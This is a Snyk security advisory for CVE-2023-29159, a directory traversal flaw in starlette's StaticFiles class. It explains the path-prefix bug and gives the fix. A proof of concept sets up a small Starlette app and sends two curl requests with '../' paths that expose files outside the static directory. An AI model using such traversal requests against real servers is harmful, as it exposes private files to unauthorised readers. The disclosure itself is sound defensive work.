Directory Traversal Affecting starlette package, versions [0.13.5,0.27.0)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
1.2% (85th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Directory Traversal vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-STARLETTE-5538332
  • published17 May 2023
  • disclosed17 May 2023
  • creditMasashi Yamane of LAC Co., Ltd

Introduced: 17 May 2023

CVE-2023-29159  (opens in a new tab)
CWE-22  (opens in a new tab)

How to fix?

Upgrade starlette to version 0.27.0 or higher.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to Directory Traversal when using the StaticFiles class. If there is a file or directory that starts with the same name as the StaticFiles directory that file or directory is also exposed via StaticFiles when os.path.commonprefix() returns the longest common prefix between two paths.

Passing a path like /static/../static1.txt, os.path.commonprefix([full_path, directory]) returns ./static, which is the common part of ./static1.txt and ./static. It refers to /static/../static1.txt because it is considered in the staticfiles directory. As a result, it becomes possible to view files that should not be open to the public.

PoC

Using a directory structure like

├── static
│   ├── index.html
├── static_disallow
│   ├── index.html
└── static1.txt

run the Starlette app with:

import uvicorn
from starlette.applications import Starlette
from starlette.routing import Mount
from starlette.staticfiles import StaticFiles

routes = [ Mount("/static", app=StaticFiles(directory="static", html=True), name="static"), ]

app = Starlette(routes=routes)

if name == "main": uvicorn.run(app, host="0.0.0.0", port=8000)

Then run the commands

curl --path-as-is 'localhost:8000/static/../static_disallow/'
curl --path-as-is 'localhost:8000/static/../static1.txt'

The static1.txt and the directory static_disallow are exposed.

CVSS Scores

version 3.1